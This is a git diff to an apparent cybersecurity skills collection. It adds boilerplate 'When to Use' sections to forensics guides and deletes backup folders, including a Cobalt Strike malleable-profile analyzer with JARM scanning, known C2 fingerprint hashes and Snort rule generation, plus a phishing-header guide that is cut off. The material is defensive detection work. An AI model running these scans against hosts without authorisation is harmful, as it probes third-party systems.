diff --git a/skills/analyzing-browser-forensics-with-hindsight/SKILL.md b/skills/analyzing-browser-forensics-with-hindsight/SKILL.md index 2a2d133d..c52d5f18 100644 --- a/skills/analyzing-browser-forensics-with-hindsight/SKILL.md +++ b/skills/analyzing-browser-forensics-with-hindsight/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Hindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases. + +## When to Use + +- When investigating security incidents that require analyzing browser forensics with hindsight +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Python 3.8+ with Hindsight installed (`pip install pyhindsight`) diff --git a/skills/analyzing-cobalt-strike-malleable-profiles.bak/LICENSE b/skills/analyzing-cobalt-strike-malleable-profiles.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/analyzing-cobalt-strike-malleable-profiles.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/analyzing-cobalt-strike-malleable-profiles.bak/SKILL.md b/skills/analyzing-cobalt-strike-malleable-profiles.bak/SKILL.md deleted file mode 100644 index 9550eea9..00000000 --- a/skills/analyzing-cobalt-strike-malleable-profiles.bak/SKILL.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -name: analyzing-cobalt-strike-malleable-profiles -description: > - Parses Cobalt Strike malleable C2 profiles using pyMalleableC2 to extract beacon - configuration, HTTP communication patterns, and sleep/jitter settings. Combines with - JARM TLS fingerprinting to detect C2 servers on the network. Use when investigating - suspected Cobalt Strike infrastructure or building detection signatures for C2 traffic. -domain: cybersecurity -subdomain: security-operations -tags: [analyzing, cobalt, strike, malleable] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Analyzing Cobalt Strike Malleable Profiles - -## Instructions - -Parse malleable C2 profiles to extract IOCs and detection opportunities using the -pyMalleableC2 library. Combine with JARM fingerprinting to identify C2 servers. - -```python -from malleablec2 import Profile - -# Parse a malleable profile from file -profile = Profile.from_file("amazon.profile") - -# Extract global options (sleep, jitter, user-agent) -print(profile.ast.pretty()) - -# Access HTTP-GET block URIs and headers for network signatures -# Access HTTP-POST block for data exfiltration patterns -# Generate JARM fingerprints for known C2 infrastructure -``` - -Key analysis steps: -1. Parse the malleable profile to extract HTTP-GET/POST URI patterns -2. Extract User-Agent strings and custom headers for IDS signatures -3. Identify sleep time and jitter for beaconing detection thresholds -4. Scan suspect IPs with JARM to match known C2 fingerprint hashes -5. Cross-reference extracted IOCs with network traffic logs - -## Examples - -```python -# Parse profile and extract detection indicators -from malleablec2 import Profile -p = Profile.from_file("cobaltstrike.profile") -print(p) # Reconstructed source - -# JARM scan a suspect C2 server -import subprocess -result = subprocess.run( - ["python3", "jarm.py", "suspect-server.com"], - capture_output=True, text=True -) -print(result.stdout) -# Compare fingerprint against known CS JARM hashes -``` diff --git a/skills/analyzing-cobalt-strike-malleable-profiles.bak/references/api-reference.md b/skills/analyzing-cobalt-strike-malleable-profiles.bak/references/api-reference.md deleted file mode 100644 index 6be55620..00000000 --- a/skills/analyzing-cobalt-strike-malleable-profiles.bak/references/api-reference.md +++ /dev/null @@ -1,69 +0,0 @@ -# API Reference: Analyzing Cobalt Strike Malleable Profiles - -## pyMalleableC2 - -```python -from malleablec2 import Profile -from malleablec2.components import HttpGetBlock, HttpPostBlock, ClientBlock, ServerBlock - -# Parse from file or string -p = Profile.from_file("amazon.profile") -p = Profile.from_string(code_string) -p = Profile.from_scratch() - -# Set global options -p.set_option("sleeptime", "3000") -p.set_option("jitter", "0") -p.set_option("pipename", "mojo__##") - -# HTTP blocks -http_get = HttpGetBlock() -http_get.set_option("uri", "/updates") -client = ClientBlock() -client.add_statement("header", "Accept", "*/*") -http_get.add_code_block(client) -p.add_code_block(http_get) - -# AST and reconstruction -print(p.ast.pretty()) # Display AST -print(p) # Reconstruct source -``` - -## JARM TLS Fingerprinting - -```bash -# Scan a single host -python3 jarm.py www.example.com - -# Scan with specific port -python3 jarm.py 192.168.1.1 -p 8443 - -# Batch scan from file -python3 jarm.py -i targets.txt -o results.csv -``` - -Fingerprint format: 62-char hybrid hash -- First 30 chars: cipher + TLS version (10 handshakes x 3 chars) -- Last 32 chars: truncated SHA256 of cumulative extensions - -## Known Cobalt Strike JARM Hashes - -| JARM Hash | Description | -|-----------|-------------| -| `07d14d16d21d21d07c42d41d00041d...` | CS default config | -| `07d14d16d21d21d00042d41d00041d...` | CS with Java 11 | - -## dissect.cobaltstrike (Alternative) - -```python -from dissect.cobaltstrike import beacon -b = beacon.BeaconConfig.from_file("beacon.bin") -print(b.protocol, b.port, b.sleeptime) -``` - -### References - -- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2 -- JARM scanner: https://github.com/salesforce/jarm -- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike -- C2 JARM list: https://github.com/cedowens/C2-JARM diff --git a/skills/analyzing-cobalt-strike-malleable-profiles.bak/scripts/agent.py b/skills/analyzing-cobalt-strike-malleable-profiles.bak/scripts/agent.py deleted file mode 100644 index e1759a9d..00000000 --- a/skills/analyzing-cobalt-strike-malleable-profiles.bak/scripts/agent.py +++ /dev/null @@ -1,174 +0,0 @@ -#!/usr/bin/env python3 -"""Agent for analyzing Cobalt Strike malleable C2 profiles and JARM fingerprinting.""" - -import os -import json -import subprocess -import argparse -from pathlib import Path -from datetime import datetime - -from malleablec2 import Profile - - -def extract_profile_indicators(profile_path): - """Extract detection indicators from a malleable C2 profile.""" - with open(profile_path) as f: - content = f.read() - profile = Profile.from_string(content) - indicators = { - "file": str(profile_path), - "source_lines": len(content.splitlines()), - "reconstructed": str(profile), - } - keywords = ["sleeptime", "jitter", "useragent", "pipename", "host_stage", - "dns_idle", "dns_sleep", "spawnto_x86", "spawnto_x64"] - options = {} - for kw in keywords: - for line in content.splitlines(): - stripped = line.strip().rstrip(";").strip() - if kw in stripped.lower() and "set " in stripped.lower(): - parts = stripped.split('"') - if len(parts) >= 2: - options[kw] = parts[1] - indicators["global_options"] = options - uris = [] - for line in content.splitlines(): - if "set uri" in line.strip().lower(): - parts = line.strip().split('"') - if len(parts) >= 2: - uris.append(parts[1]) - indicators["uris"] = uris - headers = [] - for line in content.splitlines(): - stripped = line.strip() - if "header " in stripped.lower() and '"' in stripped: - parts = stripped.split('"') - if len(parts) >= 4: - headers.append({"name": parts[1], "value": parts[3]}) - indicators["custom_headers"] = headers - return indicators - - -def scan_directory_profiles(directory): - """Scan a directory for malleable C2 profiles and extract indicators.""" - results = [] - for path in Path(directory).rglob("*.profile"): - try: - indicators = extract_profile_indicators(str(path)) - results.append(indicators) - except Exception as e: - results.append({"file": str(path), "error": str(e)}) - return results - - -KNOWN_CS_JARM = { - "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1": - "Cobalt Strike (default)", - "07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2": - "Cobalt Strike (Java 11)", -} - - -def compute_jarm_fingerprint(host, port=443): - """Compute JARM fingerprint by invoking the salesforce/jarm scanner.""" - jarm_script = os.getenv("JARM_SCRIPT", "jarm.py") - try: - result = subprocess.run( - ["python3", jarm_script, host, "-p", str(port)], - capture_output=True, text=True, timeout=30, - ) - for line in result.stdout.splitlines(): - if len(line.strip()) >= 62: - return line.strip().split()[-1] - return result.stdout.strip() - except Exception as e: - return f"Error: {e}" - - -def check_jarm_against_known(fingerprint): - """Check a JARM fingerprint against known Cobalt Strike signatures.""" - for jarm_hash, description in KNOWN_CS_JARM.items(): - if fingerprint.strip() == jarm_hash: - return {"match": True, "description": description, "fingerprint": fingerprint} - return {"match": False, "fingerprint": fingerprint} - - -def batch_jarm_scan(targets, port=443): - """Scan multiple targets for JARM fingerprints and check against known CS hashes.""" - results = [] - for target in targets: - fp = compute_jarm_fingerprint(target, port) - match = check_jarm_against_known(fp) - match["target"] = target - results.append(match) - return results - - -def generate_snort_rules(indicators_list): - """Generate Snort/Suricata rules from extracted profile indicators.""" - rules = [] - sid = 1000001 - for ind in indicators_list: - for uri in ind.get("uris", []): - rules.append( - f'alert http $HOME_NET any -> $EXTERNAL_NET any ' - f'(msg:"CS Beacon URI {uri}"; ' - f'content:"{uri}"; http_uri; sid:{sid}; rev:1;)' - ) - sid += 1 - ua = ind.get("global_options", {}).get("useragent", "") - if ua: - rules.append( - f'alert http $HOME_NET any -> $EXTERNAL_NET any ' - f'(msg:"CS Beacon User-Agent"; ' - f'content:"{ua}"; http_header; sid:{sid}; rev:1;)' - ) - sid += 1 - return rules - - -def main(): - parser = argparse.ArgumentParser(description="Cobalt Strike Malleable Profile Analyzer") - parser.add_argument("--profile", help="Path to a single malleable C2 profile") - parser.add_argument("--directory", help="Directory of malleable profiles") - parser.add_argument("--jarm-targets", nargs="*", help="Hosts to JARM fingerprint") - parser.add_argument("--output", default="cs_analysis_report.json") - parser.add_argument("--action", choices=[ - "parse", "scan_dir", "jarm", "generate_rules", "full_analysis" - ], default="full_analysis") - args = parser.parse_args() - - report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} - - if args.action in ("parse", "full_analysis") and args.profile: - indicators = extract_profile_indicators(args.profile) - report["findings"]["profile_indicators"] = indicators - print(f"[+] Parsed: {args.profile} ({len(indicators.get('uris', []))} URIs)") - - if args.action in ("scan_dir", "full_analysis") and args.directory: - results = scan_directory_profiles(args.directory) - report["findings"]["directory_scan"] = results - print(f"[+] Scanned {len(results)} profiles in {args.directory}") - - if args.action in ("jarm", "full_analysis") and args.jarm_targets: - jarm_results = batch_jarm_scan(args.jarm_targets) - report["findings"]["jarm_scan"] = jarm_results - matches = [r for r in jarm_results if r.get("match")] - print(f"[+] JARM: {len(jarm_results)} scanned, {len(matches)} CS matches") - - if args.action in ("generate_rules", "full_analysis"): - profiles = report["findings"].get("directory_scan", []) - if not profiles and args.profile: - profiles = [report["findings"].get("profile_indicators", {})] - rules = generate_snort_rules(profiles) - report["findings"]["snort_rules"] = rules - print(f"[+] Generated {len(rules)} Snort rules") - - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md b/skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md index 7b83d664..0ad999a9 100644 --- a/skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md +++ b/skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md @@ -16,3 +16,18 @@ license: Apache-2.0 Parse auditd logs to detect file access violations, privilege escalation, suspicious syscalls, and unauthorized process execution. + + +## When to Use + +- When investigating security incidents that require analyzing linux audit logs for intrusion +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + +## Prerequisites + +- Familiarity with log analysis concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md b/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md index c122e625..db35593e 100644 --- a/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Windows LNK (shortcut) files and Jump Lists are critical forensic artifacts that provide evidence of file access, program execution, and user behavior. LNK files are created automatically when a user opens a file through Windows Explorer or the Open/Save dialog, storing metadata about the target file including its original path, timestamps, volume serial number, NetBIOS name, and MAC address of the host system. Jump Lists, introduced in Windows 7, extend this by maintaining per-application lists of recently and frequently accessed files. These artifacts persist even after the target files are deleted, making them invaluable for establishing that a user accessed specific files at specific times. + +## When to Use + +- When investigating security incidents that require analyzing lnk file and jump list artifacts +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - LECmd (Eric Zimmerman) for LNK file parsing diff --git a/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md b/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md index 602cbcc9..99b595b5 100644 --- a/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md +++ b/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The NTFS Master File Table ($MFT) is the central metadata repository for every file and directory on an NTFS volume. Each file is represented by at least one 1024-byte MFT record containing attributes such as $STANDARD_INFORMATION (timestamps, permissions), $FILE_NAME (name, parent directory, timestamps), and $DATA (file content or cluster run pointers). When a file is deleted, its MFT record is marked as inactive (InUse flag cleared) but the metadata remains until the entry is reallocated by a new file. This persistence makes MFT analysis a primary technique for recovering deleted file evidence, reconstructing file system timelines, and detecting anti-forensic activity such as timestomping. + +## When to Use + +- When investigating security incidents that require analyzing mft for deleted file recovery +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Forensic disk image (E01, raw/dd, VMDK, or VHDX format) diff --git a/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md b/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md index 297892f1..5304d408 100644 --- a/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md +++ b/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Microsoft Outlook PST (Personal Storage Table) and OST (Offline Storage Table) files are critical evidence sources in digital forensics investigations. PST files store email messages, calendar events, contacts, tasks, and notes in a proprietary binary format based on the MAPI (Messaging Application Programming Interface) property system. Forensic analysis of these files enables recovery of deleted emails (from the Recoverable Items folder), extraction of email headers for tracing message routes, analysis of attachments for malware or exfiltrated data, and reconstruction of communication patterns. Modern PST files use Unicode format with 4KB pages and can grow up to 50GB, while legacy ANSI format is limited to 2GB. + +## When to Use + +- When investigating security incidents that require analyzing outlook pst for email forensics +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - libpff/pffexport (open-source PST parser) diff --git a/skills/analyzing-phishing-email-headers.bak/LICENSE b/skills/analyzing-phishing-email-headers.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/analyzing-phishing-email-headers.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/analyzing-phishing-email-headers.bak/SKILL.md b/skills/analyzing-phishing-email-headers.bak/SKILL.md deleted file mode 100644 index d23df6cc..00000000 --- a/skills/analyzing-phishing-email-headers.bak/SKILL.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -name: analyzing-phishing-email-headers -description: Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp -domain: cybersecurity -subdomain: phishing-defense -tags: [phishing, email-security, social-engineering, dmarc, awareness, header-analysis, forensics] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- -# Analyzing Phishing Email Headers - -## Overview -Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attempts, verifying sender authenticity, and gathering threat intelligence. This skill covers systematic extraction and interpretation of email headers using both manual techniques and automated tools. - -## Prerequisites -- Basic understanding of SMTP protocol and email delivery -- Familiarity with DNS records (MX, TXT, SPF, DKIM, DMARC) -- Python 3.8+ installed -- Access to email client that can export raw headers (Outlook, Gmail, Thunderbird) - -## Key Concepts - -### Critical Header Fields -1. **Received**: Chain of mail servers the message passed through (read bottom to top) -2. **From / Return-Path / Reply-To**: Sender identity fields (often spoofed) -3. **Authentication-Results**: SPF, DKIM, DMARC verification outcomes -4. **X-Originating-IP**: Original sender IP address -5. **Message-ID**: Unique identifier; anomalies indicate spoofing -6. **X-Mailer / User-Agent**: Email client used to compose the message - -### Red Flags in Headers -- Mismatched `From` and `Return-Path` domains -- SPF/DKIM/DMARC failures in `Authentication-Results` -- 